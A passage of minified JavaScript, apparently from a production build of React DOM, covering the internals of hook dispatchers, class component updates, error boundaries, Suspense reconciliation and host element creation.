h5(e,t,n){return Gi&21?(Wn(n,t)||(n=bw(),qe.lanes|=n,Xi|=n,e.baseState=!0),t):(e.baseState&&(e.baseState=!1,Wt=!0),e.memoizedState=n)}function VC(e,t){var n=Ae;Ae=n!==0&&4>n?n:4,e(!0);var r=Df.transition;Df.transition={};try{e(!1),t()}finally{Ae=n,Df.transition=r}}function x5(){return Sn().memoizedState}function HC(e,t,n){var r=li(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},v5(e))g5(t,n);else if(n=Qw(e,t,n,r),n!==null){var i=Lt();Bn(n,e,r,i),y5(n,t,r)}}function KC(e,t,n){var r=li(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(v5(e))g5(t,i);else{var a=e.alternate;if(e.lanes===0&&(a===null||a.lanes===0)&&(a=t.lastRenderedReducer,a!==null))try{var o=t.lastRenderedState,l=a(o,n);if(i.hasEagerState=!0,i.eagerState=l,Wn(l,o)){var c=t.interleaved;c===null?(i.next=i,Vh(t)):(i.next=c.next,c.next=i),t.interleaved=i;return}}catch{}finally{}n=Qw(e,t,i,r),n!==null&&(i=Lt(),Bn(n,e,r,i),y5(n,t,r))}}function v5(e){var t=e.alternate;return e===qe||t!==null&&t===qe}function g5(e,t){Js=Lc=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function y5(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Ah(e,n)}}var Ic={readContext:Nn,useCallback:Et,useContext:Et,useEffect:Et,useImperativeHandle:Et,useInsertionEffect:Et,useLayoutEffect:Et,useMemo:Et,useReducer:Et,useRef:Et,useState:Et,useDebugValue:Et,useDeferredValue:Et,useTransition:Et,useMutableSource:Et,useSyncExternalStore:Et,useId:Et,unstable_isNewReconciler:!1},qC={readContext:Nn,useCallback:function(e,t){return Jn().memoizedState=[e,t===void 0?null:t],e},useContext:Nn,useEffect:ig,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,sc(4194308,4,d5.bind(null,t,e),n)},useLayoutEffect:function(e,t){return sc(4194308,4,e,t)},useInsertionEffect:function(e,t){return sc(4,2,e,t)},useMemo:function(e,t){var n=Jn();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=Jn();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=HC.bind(null,qe,e),[r.memoizedState,e]},useRef:function(e){var t=Jn();return e={current:e},t.memoizedState=e},useState:rg,useDebugValue:Jh,useDeferredValue:function(e){return Jn().memoizedState=e},useTransition:function(){var e=rg(!1),t=e[0];return e=VC.bind(null,e[1]),Jn().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=qe,i=Jn();if(Ve){if(n===void 0)throw Error(Q(407));n=n()}else{if(n=t(),gt===null)throw Error(Q(349));Gi&30||r5(r,t,n)}i.memoizedState=n;var a={value:n,getSnapshot:t};return i.queue=a,ig(a5.bind(null,r,a,e),[e]),r.flags|=2048,yo(9,i5.bind(null,r,a,n,t),void 0,null),n},useId:function(){var e=Jn(),t=gt.identifierPrefix;if(Ve){var n=gr,r=vr;n=(r&~(1<<32-$n(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=vo++,0<n&&(t+="H"+n.toString(32)),t+=":"}else n=UC++,t=":"+t+"r"+n.toString(32)+":";return e.memoizedState=t},unstable_isNewReconciler:!1},YC={readContext:Nn,useCallback:p5,useContext:Nn,useEffect:Qh,useImperativeHandle:f5,useInsertionEffect:c5,useLayoutEffect:u5,useMemo:m5,useReducer:Rf,useRef:l5,useState:function(){return Rf(go)},useDebugValue:Jh,useDeferredValue:function(e){var t=Sn();return h5(t,ct.memoizedState,e)},useTransition:function(){var e=Rf(go)[0],t=Sn().memoizedState;return[e,t]},useMutableSource:t5,useSyncExternalStore:n5,useId:x5,unstable_isNewReconciler:!1},GC={readContext:Nn,useCallback:p5,useContext:Nn,useEffect:Qh,useImperativeHandle:f5,useInsertionEffect:c5,useLayoutEffect:u5,useMemo:m5,useReducer:$f,useRef:l5,useState:function(){return $f(go)},useDebugValue:Jh,useDeferredValue:function(e){var t=Sn();return ct===null?t.memoizedState=e:h5(t,ct.memoizedState,e)},useTransition:function(){var e=$f(go)[0],t=Sn().memoizedState;return[e,t]},useMutableSource:t5,useSyncExternalStore:n5,useId:x5,unstable_isNewReconciler:!1};function Tn(e,t){if(e&&e.defaultProps){t=Ge({},t),e=e.defaultProps;for(var n in e)t[n]===void 0&&(t[n]=e[n]);return t}return t}function tm(e,t,n,r){t=e.memoizedState,n=n(r,t),n=n==null?t:Ge({},t,n),e.memoizedState=n,e.lanes===0&&(e.updateQueue.baseState=n)}var Ku={isMounted:function(e){return(e=e._reactInternals)?oa(e)===e:!1},enqueueSetState:function(e,t,n){e=e._reactInternals;var r=Lt(),i=li(e),a=wr(r,i);a.payload=t,n!=null&&(a.callback=n),t=si(e,a,i),t!==null&&(Bn(t,e,i,r),ic(t,e,i))},enqueueReplaceState:function(e,t,n){e=e._reactInternals;var r=Lt(),i=li(e),a=wr(r,i);a.tag=1,a.payload=t,n!=null&&(a.callback=n),t=si(e,a,i),t!==null&&(Bn(t,e,i,r),ic(t,e,i))},enqueueForceUpdate:function(e,t){e=e._reactInternals;var n=Lt(),r=li(e),i=wr(n,r);i.tag=2,t!=null&&(i.callback=t),t=si(e,i,r),t!==null&&(Bn(t,e,r,n),ic(t,e,r))}};function ag(e,t,n,r,i,a,o){return e=e.stateNode,typeof e.shouldComponentUpdate=="function"?e.shouldComponentUpdate(r,a,o):t.prototype&&t.prototype.isPureReactComponent?!uo(n,r)||!uo(i,a):!0}function b5(e,t,n){var r=!1,i=hi,a=t.contextType;return typeof a=="object"&&a!==null?a=Nn(a):(i=qt(t)?qi:Ot.current,r=t.contextTypes,a=(r=r!=null)?Ua(e,i):hi),t=new t(n,a),e.memoizedState=t.state!==null&&t.state!==void 0?t.state:null,t.updater=Ku,e.stateNode=t,t._reactInternals=e,r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=i,e.__reactInternalMemoizedMaskedChildContext=a),t}function sg(e,t,n,r){e=t.state,typeof t.componentWillReceiveProps=="function"&&t.componentWillReceiveProps(n,r),typeof t.UNSAFE_componentWillReceiveProps=="function"&&t.UNSAFE_componentWillReceiveProps(n,r),t.state!==e&&Ku.enqueueReplaceState(t,t.state,null)}function nm(e,t,n,r){var i=e.stateNode;i.props=n,i.state=e.memoizedState,i.refs={},Hh(e);var a=t.contextType;typeof a=="object"&&a!==null?i.context=Nn(a):(a=qt(t)?qi:Ot.current,i.context=Ua(e,a)),i.state=e.memoizedState,a=t.getDerivedStateFromProps,typeof a=="function"&&(tm(e,t,a,n),i.state=e.memoizedState),typeof t.getDerivedStateFromProps=="function"||typeof i.getSnapshotBeforeUpdate=="function"||typeof i.UNSAFE_componentWillMount!="function"&&typeof i.componentWillMount!="function"||(t=i.state,typeof i.componentWillMount=="function"&&i.componentWillMount(),typeof i.UNSAFE_componentWillMount=="function"&&i.UNSAFE_componentWillMount(),t!==i.state&&Ku.enqueueReplaceState(i,i.state,null),Tc(e,n,i,r),i.state=e.memoizedState),typeof i.componentDidMount=="function"&&(e.flags|=4194308)}function qa(e,t){try{var n="",r=t;do n+=kz(r),r=r.return;while(r);var i=n}catch(a){i=`
Error generating stack: `+a.message+`
`+a.stack}return{value:e,source:t,stack:i,digest:null}}function Bf(e,t,n){return{value:e,source:null,stack:n??null,digest:t??null}}function rm(e,t){try{console.error(t.value)}catch(n){setTimeout(function(){throw n})}}var XC=typeof WeakMap=="function"?WeakMap:Map;function w5(e,t,n){n=wr(-1,n),n.tag=3,n.payload={element:null};var r=t.value;return n.callback=function(){Rc||(Rc=!0,pm=r),rm(e,t)},n}function j5(e,t,n){n=wr(-1,n),n.tag=3;var r=e.type.getDerivedStateFromError;if(typeof r=="function"){var i=t.value;n.payload=function(){return r(i)},n.callback=function(){rm(e,t)}}var a=e.stateNode;return a!==null&&typeof a.componentDidCatch=="function"&&(n.callback=function(){rm(e,t),typeof r!="function"&&(oi===null?oi=new Set([this]):oi.add(this));var o=t.stack;this.componentDidCatch(t.value,{componentStack:o!==null?o:""})}),n}function og(e,t,n){var r=e.pingCache;if(r===null){r=e.pingCache=new XC;var i=new Set;r.set(t,i)}else i=r.get(t),i===void 0&&(i=new Set,r.set(t,i));i.has(n)||(i.add(n),e=uP.bind(null,e,t,n),t.then(e,e))}function lg(e){do{var t;if((t=e.tag===13)&&(t=e.memoizedState,t=t!==null?t.dehydrated!==null:!0),t)return e;e=e.return}while(e!==null);return null}function cg(e,t,n,r,i){return e.mode&1?(e.flags|=65536,e.lanes=i,e):(e===t?e.flags|=65536:(e.flags|=128,n.flags|=131072,n.flags&=-52805,n.tag===1&&(n.alternate===null?n.tag=17:(t=wr(-1,1),t.tag=2,si(n,t,1))),n.lanes|=1),e)}var ZC=Ir.ReactCurrentOwner,Wt=!1;function Tt(e,t,n,r){t.child=e===null?Zw(t,null,n,r):Ha(t,e.child,n,r)}function ug(e,t,n,r,i){n=n.render;var a=t.ref;return Da(t,i),r=Xh(e,t,n,r,a,i),n=Zh(),e!==null&&!Wt?(t.updateQueue=e.updateQueue,t.flags&=-2053,e.lanes&=~i,zr(e,t,i)):(Ve&&n&&Rh(t),t.flags|=1,Tt(e,t,r,i),t.child)}function dg(e,t,n,r,i){if(e===null){var a=n.type;return typeof a=="function"&&!ox(a)&&a.defaultProps===void 0&&n.compare===null&&n.defaultProps===void 0?(t.tag=15,t.type=a,k5(e,t,a,r,i)):(e=uc(n.type,null,r,t,t.mode,i),e.ref=t.ref,e.return=t,t.child=e)}if(a=e.child,!(e.lanes&i)){var o=a.memoizedProps;if(n=n.compare,n=n!==null?n:uo,n(o,r)&&e.ref===t.ref)return zr(e,t,i)}return t.flags|=1,e=ci(a,r),e.ref=t.ref,e.return=t,t.child=e}function k5(e,t,n,r,i){if(e!==null){var a=e.memoizedProps;if(uo(a,r)&&e.ref===t.ref)if(Wt=!1,t.pendingProps=r=a,(e.lanes&i)!==0)e.flags&131072&&(Wt=!0);else return t.lanes=e.lanes,zr(e,t,i)}return im(e,t,n,r,i)}function N5(e,t,n){var r=t.pendingProps,i=r.children,a=e!==null?e.memoizedState:null;if(r.mode==="hidden")if(!(t.mode&1))t.memoizedState={baseLanes:0,cachePool:null,transitions:null},De(Ea,en),en|=n;else{if(!(n&1073741824))return e=a!==null?a.baseLanes|n:n,t.lanes=t.childLanes=1073741824,t.memoizedState={baseLanes:e,cachePool:null,transitions:null},t.updateQueue=null,De(Ea,en),en|=e,null;t.memoizedState={baseLanes:0,cachePool:null,transitions:null},r=a!==null?a.baseLanes:n,De(Ea,en),en|=r}else a!==null?(r=a.baseLanes|n,t.memoizedState=null):r=n,De(Ea,en),en|=r;return Tt(e,t,i,n),t.child}function S5(e,t){var n=t.ref;(e===null&&n!==null||e!==null&&e.ref!==n)&&(t.flags|=512,t.flags|=2097152)}function im(e,t,n,r,i){var a=qt(n)?qi:Ot.current;return a=Ua(t,a),Da(t,i),n=Xh(e,t,n,r,a,i),r=Zh(),e!==null&&!Wt?(t.updateQueue=e.updateQueue,t.flags&=-2053,e.lanes&=~i,zr(e,t,i)):(Ve&&r&&Rh(t),t.flags|=1,Tt(e,t,n,i),t.child)}function fg(e,t,n,r,i){if(qt(n)){var a=!0;Pc(t)}else a=!1;if(Da(t,i),t.stateNode===null)oc(e,t),b5(t,n,r),nm(t,n,r,i),r=!0;else if(e===null){var o=t.stateNode,l=t.memoizedProps;o.props=l;var c=o.context,u=n.contextType;typeof u=="object"&&u!==null?u=Nn(u):(u=qt(n)?qi:Ot.current,u=Ua(t,u));var d=n.getDerivedStateFromProps,f=typeof d=="function"||typeof o.getSnapshotBeforeUpdate=="function";f||typeof o.UNSAFE_componentWillReceiveProps!="function"&&typeof o.componentWillReceiveProps!="function"||(l!==r||c!==u)&&sg(t,o,r,u),qr=!1;var m=t.memoizedState;o.state=m,Tc(t,r,o,i),c=t.memoizedState,l!==r||m!==c||Kt.current||qr?(typeof d=="function"&&(tm(t,n,d,r),c=t.memoizedState),(l=qr||ag(t,n,l,r,m,c,u))?(f||typeof o.UNSAFE_componentWillMount!="function"&&typeof o.componentWillMount!="function"||(typeof o.componentWillMount=="function"&&o.componentWillMount(),typeof o.UNSAFE_componentWillMount=="function"&&o.UNSAFE_componentWillMount()),typeof o.componentDidMount=="function"&&(t.flags|=4194308)):(typeof o.componentDidMount=="function"&&(t.flags|=4194308),t.memoizedProps=r,t.memoizedState=c),o.props=r,o.state=c,o.context=u,r=l):(typeof o.componentDidMount=="function"&&(t.flags|=4194308),r=!1)}else{o=t.stateNode,Jw(e,t),l=t.memoizedProps,u=t.type===t.elementType?l:Tn(t.type,l),o.props=u,f=t.pendingProps,m=o.context,c=n.contextType,typeof c=="object"&&c!==null?c=Nn(c):(c=qt(n)?qi:Ot.current,c=Ua(t,c));var h=n.getDerivedStateFromProps;(d=typeof h=="function"||typeof o.getSnapshotBeforeUpdate=="function")||typeof o.UNSAFE_componentWillReceiveProps!="function"&&typeof o.componentWillReceiveProps!="function"||(l!==f||m!==c)&&sg(t,o,r,c),qr=!1,m=t.memoizedState,o.state=m,Tc(t,r,o,i);var x=t.memoizedState;l!==f||m!==x||Kt.current||qr?(typeof h=="function"&&(tm(t,n,h,r),x=t.memoizedState),(u=qr||ag(t,n,u,r,m,x,c)||!1)?(d||typeof o.UNSAFE_componentWillUpdate!="function"&&typeof o.componentWillUpdate!="function"||(typeof o.componentWillUpdate=="function"&&o.componentWillUpdate(r,x,c),typeof o.UNSAFE_componentWillUpdate=="function"&&o.UNSAFE_componentWillUpdate(r,x,c)),typeof o.componentDidUpdate=="function"&&(t.flags|=4),typeof o.getSnapshotBeforeUpdate=="function"&&(t.flags|=1024)):(typeof o.componentDidUpdate!="function"||l===e.memoizedProps&&m===e.memoizedState||(t.flags|=4),typeof o.getSnapshotBeforeUpdate!="function"||l===e.memoizedProps&&m===e.memoizedState||(t.flags|=1024),t.memoizedProps=r,t.memoizedState=x),o.props=r,o.state=x,o.context=c,r=u):(typeof o.componentDidUpdate!="function"||l===e.memoizedProps&&m===e.memoizedState||(t.flags|=4),typeof o.getSnapshotBeforeUpdate!="function"||l===e.memoizedProps&&m===e.memoizedState||(t.flags|=1024),r=!1)}return am(e,t,n,r,a,i)}function am(e,t,n,r,i,a){S5(e,t);var o=(t.flags&128)!==0;if(!r&&!o)return i&&Zv(t,n,!1),zr(e,t,a);r=t.stateNode,ZC.current=t;var l=o&&typeof n.getDerivedStateFromError!="function"?null:r.render();return t.flags|=1,e!==null&&o?(t.child=Ha(t,e.child,null,a),t.child=Ha(t,null,l,a)):Tt(e,t,l,a),t.memoizedState=r.state,i&&Zv(t,n,!0),t.child}function z5(e){var t=e.stateNode;t.pendingContext?Xv(e,t.pendingContext,t.pendingContext!==t.context):t.context&&Xv(e,t.context,!1),Kh(e,t.containerInfo)}function pg(e,t,n,r,i){return Va(),Bh(i),t.flags|=256,Tt(e,t,n,r),t.child}var sm={dehydrated:null,treeContext:null,retryLane:0};function om(e){return{baseLanes:e,cachePool:null,transitions:null}}function C5(e,t,n){var r=t.pendingProps,i=Ke.current,a=!1,o=(t.flags&128)!==0,l;if((l=o)||(l=e!==null&&e.memoizedState===null?!1:(i&2)!==0),l?(a=!0,t.flags&=-129):(e===null||e.memoizedState!==null)&&(i|=1),De(Ke,i&1),e===null)return Jp(t),e=t.memoizedState,e!==null&&(e=e.dehydrated,e!==null)?(t.mode&1?e.data==="$!"?t.lanes=8:t.lanes=1073741824:t.lanes=1,null):(o=r.children,e=r.fallback,a?(r=t.mode,a=t.child,o={mode:"hidden",children:o},!(r&1)&&a!==null?(a.childLanes=0,a.pendingProps=o):a=Gu(o,r,0,null),e=Wi(e,r,n,null),a.return=t,e.return=t,a.sibling=e,t.child=a,t.child.memoizedState=om(n),t.memoizedState=sm,e):ex(t,o));if(i=e.memoizedState,i!==null&&(l=i.dehydrated,l!==null))return QC(e,t,o,r,l,i,n);if(a){a=r.fallback,o=t.mode,i=e.child,l=i.sibling;var c={mode:"hidden",children:r.children};return!(o&1)&&t.child!==i?(r=t.child,r.childLanes=0,r.pendingProps=c,t.deletions=null):(r=ci(i,c),r.subtreeFlags=i.subtreeFlags&14680064),l!==null?a=ci(l,a):(a=Wi(a,o,n,null),a.flags|=2),a.return=t,r.return=t,r.sibling=a,t.child=r,r=a,a=t.child,o=e.child.memoizedState,o=o===null?om(n):{baseLanes:o.baseLanes|n,cachePool:null,transitions:o.transitions},a.memoizedState=o,a.childLanes=e.childLanes&~n,t.memoizedState=sm,r}return a=e.child,e=a.sibling,r=ci(a,{mode:"visible",children:r.children}),!(t.mode&1)&&(r.lanes=n),r.return=t,r.sibling=null,e!==null&&(n=t.deletions,n===null?(t.deletions=[e],t.flags|=16):n.push(e)),t.child=r,t.memoizedState=null,r}function ex(e,t){return t=Gu({mode:"visible",children:t},e.mode,0,null),t.return=e,e.child=t}function Cl(e,t,n,r){return r!==null&&Bh(r),Ha(t,e.child,null,n),e=ex(t,t.pendingProps.children),e.flags|=2,t.memoizedState=null,e}function QC(e,t,n,r,i,a,o){if(n)return t.flags&256?(t.flags&=-257,r=Bf(Error(Q(422))),Cl(e,t,o,r)):t.memoizedState!==null?(t.child=e.child,t.flags|=128,null):(a=r.fallback,i=t.mode,r=Gu({mode:"visible",children:r.children},i,0,null),a=Wi(a,i,o,null),a.flags|=2,r.return=t,a.return=t,r.sibling=a,t.child=r,t.mode&1&&Ha(t,e.child,null,o),t.child.memoizedState=om(o),t.memoizedState=sm,a);if(!(t.mode&1))return Cl(e,t,o,null);if(i.data==="$!"){if(r=i.nextSibling&&i.nextSibling.dataset,r)var l=r.dgst;return r=l,a=Error(Q(419)),r=Bf(a,r,void 0),Cl(e,t,o,r)}if(l=(o&e.childLanes)!==0,Wt||l){if(r=gt,r!==null){switch(o&-o){case 4:i=2;break;case 16:i=8;break;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:i=32;break;case 536870912:i=268435456;break;default:i=0}i=i&(r.suspendedLanes|o)?0:i,i!==0&&i!==a.retryLane&&(a.retryLane=i,Sr(e,i),Bn(r,e,i,-1))}return sx(),r=Bf(Error(Q(421))),Cl(e,t,o,r)}return i.data==="$?"?(t.flags|=128,t.child=e.child,t=dP.bind(null,e),i._reactRetry=t,null):(e=a.treeContext,nn=ai(i.nextSibling),an=t,Ve=!0,Ln=null,e!==null&&(yn[bn++]=vr,yn[bn++]=gr,yn[bn++]=Yi,vr=e.id,gr=e.overflow,Yi=t),t=ex(t,r.children),t.flags|=4096,t)}function mg(e,t,n){e.lanes|=t;var r=e.alternate;r!==null&&(r.lanes|=t),em(e.return,t,n)}function Ff(e,t,n,r,i){var a=e.memoizedState;a===null?e.memoizedState={isBackwards:t,rendering:null,renderingStartTime:0,last:r,tail:n,tailMode:i}:(a.isBackwards=t,a.rendering=null,a.renderingStartTime=0,a.last=r,a.tail=n,a.tailMode=i)}function P5(e,t,n){var r=t.pendingProps,i=r.revealOrder,a=r.tail;if(Tt(e,t,r.children,n),r=Ke.current,r&2)r=r&1|2,t.flags|=128;else{if(e!==null&&e.flags&128)e:for(e=t.child;e!==null;){if(e.tag===13)e.memoizedState!==null&&mg(e,n,t);else if(e.tag===19)mg(e,n,t);else if(e.child!==null){e.child.return=e,e=e.child;continue}if(e===t)break e;for(;e.sibling===null;){if(e.return===null||e.return===t)break e;e=e.return}e.sibling.return=e.return,e=e.sibling}r&=1}if(De(Ke,r),!(t.mode&1))t.memoizedState=null;else switch(i){case"forwards":for(n=t.child,i=null;n!==null;)e=n.alternate,e!==null&&Mc(e)===null&&(i=n),n=n.sibling;n=i,n===null?(i=t.child,t.child=null):(i=n.sibling,n.sibling=null),Ff(t,!1,i,n,a);break;case"backwards":for(n=null,i=t.child,t.child=null;i!==null;){if(e=i.alternate,e!==null&&Mc(e)===null){t.child=i;break}e=i.sibling,i.sibling=n,n=i,i=e}Ff(t,!0,n,null,a);break;case"together":Ff(t,!1,null,null,void 0);break;default:t.memoizedState=null}return t.child}function oc(e,t){!(t.mode&1)&&e!==null&&(e.alternate=null,t.alternate=null,t.flags|=2)}function zr(e,t,n){if(e!==null&&(t.dependencies=e.dependencies),Xi|=t.lanes,!(n&t.childLanes))return null;if(e!==null&&t.child!==e.child)throw Error(Q(153));if(t.child!==null){for(e=t.child,n=ci(e,e.pendingProps),t.child=n,n.return=t;e.sibling!==null;)e=e.sibling,n=n.sibling=ci(e,e.pendingProps),n.return=t;n.sibling=null}return t.child}function JC(e,t,n){switch(t.tag){case 3:z5(t),Va();break;case 5:e5(t);break;case 1:qt(t.type)&&Pc(t);break;case 4:Kh(t,t.stateNode.containerInfo);break;case 10:var r=t.type._context,i=t.memoizedProps.value;De(_c,r._currentValue),r._currentValue=i;break;case 13:if(r=t.memoizedState,r!==null)return r.dehydrated!==null?(De(Ke,Ke.current&1),t.flags|=128,null):n&t.child.childLanes?C5(e,t,n):(De(Ke,Ke.current&1),e=zr(e,t,n),e!==null?e.sibling:null);De(Ke,Ke.current&1);break;case 19:if(r=(n&t.childLanes)!==0,e.flags&128){if(r)return P5(e,t,n);t.flags|=128}if(i=t.memoizedState,i!==null&&(i.rendering=null,i.tail=null,i.lastEffect=null),De(Ke,Ke.current),r)break;return null;case 22:case 23:return t.lanes=0,N5(e,t,n)}return zr(e,t,n)}var E5,lm,A5,_5;E5=function(e,t){for(var n=t.child;n!==null;){if(n.tag===5||n.tag===6)e.appendChild(n.stateNode);else if(n.tag!==4&&n.child!==null){n.child.return=n,n=n.child;continue}if(n===t)break;for(;n.sibling===null;){if(n.return===null||n.return===t)return;n=n.return}n.sibling.return=n.return,n=n.sibling}};lm=function(){};A5=function(e,t,n,r){var i=e.memoizedProps;if(i!==r){e=t.stateNode,Di(ar.current);var a=null;switch(n){case"input":i=Ap(e,i),r=Ap(e,r),a=[];break;case"select":i=Ge({},i,{value:void 0}),r=Ge({},r,{value:void 0}),a=[];break;case"textarea":i=Tp(e,i),r=Tp(e,r),a=[];break;default:typeof i.onClick!="function"&&typeof r.onClick=="function"&&(e.onclick=zc)}Lp(n,r);var o;n=null;for(u in i)if(!r.hasOwnProperty(u)&&i.hasOwnProperty(u)&&i[u]!=null)if(u==="style"){var l=i[u];for(o in l)l.hasOwnProperty(o)&&(n||(n={}),n[o]="")}else u!=="dangerouslySetInnerHTML"&&u!=="children"&&u!=="suppressContentEditableWarning"&&u!=="suppressHydrationWarning"&&u!=="autoFocus"&&(ro.hasOwnProperty(u)?a||(a=[]):(a=a||[]).push(u,null));for(u in r){var c=r[u];if(l=i!=null?i[u]:void 0,r.hasOwnProperty(u)&&c!==l&&(c!=null||l!=null))if(u==="style")if(l){for(o in l)!l.hasOwnProperty(o)||c&&c.hasOwnProperty(o)||(n||(n={}),n[o]="");for(o in c)c.hasOwnProperty(o)&&l[o]!==c[o]&&(n||(n={}),n[o]=c[o])}else n||(a||(a=[]),a.push(u,n)),n=c;else u==="dangerouslySetInnerHTML"?(c=c?c.__html:void 0,l=l?l.__html:void 0,c!=null&&l!==c&&(a=a||[]).push(u,c)):u==="children"?typeof c!="string"&&typeof c!="number"||(a=a||[]).push(u,""+c):u!=="suppressContentEditableWarning"&&u!=="suppressHydrationWarning"&&(ro.hasOwnProperty(u)?(c!=null&&u==="onScroll"&&Re("scroll",e),a||l===c||(a=[])):(a=a||[]).push(u,c))}n&&(a=a||[]).push("style",n);var u=a;(t.updateQueue=u)&&(t.flags|=4)}};_5=function(e,t,n,r){n!==r&&(t.flags|=4)};function Cs(e,t){if(!Ve)switch(e.tailMode){case"hidden":t=e.tail;for(var n=null;t!==null;)t.alternate!==null&&(n=t),t=t.sibling;n===null?e.tail=null:n.sibling=null;break;case"collapsed":n=e.tail;for(var r=null;n!==null;)n.alternate!==null&&(r=n),n=n.sibling;r===null?t||e.tail===null?e.tail=null:e.tail.sibling=null:r.sibling=null}}function At(e){var t=e.alternate!==null&&e.alternate.child===e.child,n=0,r=0;if(t)for(var i=e.child;i!==null;)n|=i.lanes|i.childLanes,r|=i.subtreeFlags&14680064,r|=i.flags&14680064,i.return=e,i=i.sibling;else for(i=e.child;i!==null;)n|=i.lanes|i.childLanes,r|=i.subtreeFlags,r|=i.flags,i.return=e,i=i.sibling;return e.subtreeFlags|=r,e.childLanes=n,t}function eP(e,t,n){var r=t.pendingProps;switch($h(t),t.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return At(t),null;case 1:return qt(t.type)&&Cc(),At(t),null;case 3:return r=t.stateNode,Ka(),Be(Kt),Be(Ot),Yh(),r.pendingContext&&(r.context=r.pendingContext,r.pendingContext=null),(e===null||e.child===null)&&(Sl(t)?t.flags|=4:e===null||e.memoizedState.isDehydrated&&!(t.flags&256)||(t.flags|=1024,Ln!==null&&(xm(Ln),Ln=null))),lm(e,t),At(t),null;case 5:qh(t);var i=Di(xo.current);if(n=t.type,e!==null&&t.stateNode!=null)A5(e,t,n,r,i),e.ref!==t.ref&&(t.flags|=512,t.flags|=2097152);else{if(!r){if(t.stateNode===null)throw Error(Q(166));return At(t),null}if(e=Di(ar.current),Sl(t)){r=t.stateNode,n=t.type;var a=t.memoizedProps;switch(r[er]=t,r[mo]=a,e=(t.mode&1)!==0,n){case"dialog":Re("cancel",r),Re("close",r);break;case"iframe":case"object":case"embed":Re("load",r);break;case"video":case"audio":for(i=0;i<Vs.length;i++)Re(Vs[i],r);break;case"source":Re("error",r);break;case"img":case"image":case"link":Re("error",r),Re("load",r);break;case"details":Re("toggle",r);break;case"input":kv(r,a),Re("invalid",r);break;case"select":r._wrapperState={wasMultiple:!!a.multiple},Re("invalid",r);break;case"textarea":Sv(r,a),Re("invalid",r)}Lp(n,a),i=null;for(var o in a)if(a.hasOwnProperty(o)){var l=a[o];o==="children"?typeof l=="string"?r.textContent!==l&&(a.suppressHydrationWarning!==!0&&Nl(r.textContent,l,e),i=["children",l]):typeof l=="number"&&r.textContent!==""+l&&(a.suppressHydrationWarning!==!0&&Nl(r.textContent,l,e),i=["children",""+l]):ro.hasOwnProperty(o)&&l!=null&&o==="onScroll"&&Re("scroll",r)}switch(n){case"input":xl(r),Nv(r,a,!0);break;case"textarea":xl(r),zv(r);break;case"select":case"option":break;default:typeof a.onClick=="function"&&(r.onclick=zc)}r=i,t.updateQueue=r,r!==null&&(t.flags|=4)}else{o=i.nodeType===9?i:i.ownerDocument,e==="http://www.w3.org/1999/xhtml"&&(e=aw(n)),e==="http://www.w3.org/1999/xhtml"?n==="script"?(e=o.createElement("div"),e.innerHTML="<script><\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=o.createElement(n,{is:r.is}):(e=o.createElement(n),n==="select"&&(o=e,r.multiple?o.multiple=!0:r.size&&(o.size=r.size))):e=o.createElementNS(e,n),e[er]=t,e[mo]=r,E5(e,t,!1,!1),t.stateNode=e;e:{switch(o=Ip(n,r),n){case"dialog":Re("cancel",e),Re("close",e),i=r;break;case"iframe":case"object":case"embed":Re("load",e),i=r;break;case"video":case"audio":for(i=0;i<Vs.length;i++)Re(Vs[i],e);i=r;break;case"source":Re("error",e),i=r;break;case"img":case"image":case"link":Re("error",e),Re("load",e),i=r;break;case"details":Re("toggle",e),i=r;break;case"input":kv(e,r),i=Ap(e,r),Re("invalid",e);break;case"option":i=r;break;case"select":e._wrapperState={wasMultiple:!!r.multiple},i=Ge({},r,{value:void 0}),Re("invalid",e);break;case"textarea":Sv(e,r),i=Tp(e,r),Re("invalid",e);break;default:i=r}Lp(n,i),l=i;for(a in l)if(l.hasOwnProperty(a)){var c=l[a];a==="style"?lw(e,c):a==="dangerouslySetInnerHTML"?(c=c?c.__html:void 0,c!=null&&sw(e,c)):a==="children"?typeof c=="string"?(n!=="textarea"||c!=="")&&io(e,c):typeof c=="number"&&io(e,""+c):a!=="suppressContentEditableWarning"&&a!=="suppressHydrationWarning"&&a!=="autoFocus"&&(ro.hasOwnProperty(a)?c!=null&&a==="onScroll"&&Re("scroll",e):c!=null&&Nh(e,a,c,o))}switch(n){case"input":xl(e),Nv(e,r,!1);break;case"textarea":xl(e),zv(e);break;case"option":r.value!=null&&e.setAttribute("value",""+mi(r.value));break;case"select":e.multiple=!!r.multiple,a=r.value,a!=null?Ta(e,!!r.multiple,a,!1):r.defaultValue!=null&&Ta(e,!!r.multiple,r.defaultValue,!0);break;default:typeof i.onClick=="function"&&(e.onclick=zc)}switch(n){case"button":case"input":case"select":case"textarea":r=!!r.autoFocus;break e;case"img":r=!0;break e;default:r=!1}}r&&(t.flags|=4)}t.ref!==null&&(t.flags|=512,t.flags|=2097152)}return At(t),null;case 6:if(e&&t.stateNode!=null)_5(e,t,e.memoizedProps,r);else{if(typeof r!="string"&&t.stateNode===null)throw Error(Q(166));if(n=Di(xo.current),Di(ar.current),Sl(t)){if(r=t.stateNode,n=t.memoizedProps,r[er]=t,(a=r.nodeValue!==n)&&(e=an,e!==null))switch(e.tag){case 3:Nl(r.nodeValue,n,(e.mode&1)!==0);break;case 5:e.memoizedProps.suppressHydrationWarning!==!0&&Nl(r.nodeValue,n,(e.mode&1)!==0)}a&&(t.flags|=4)}else r=(n.nodeType===9?n:n.ownerDocument).createTextNode(r),r[er]=t,t.stateNode=r}return At(t),null;case 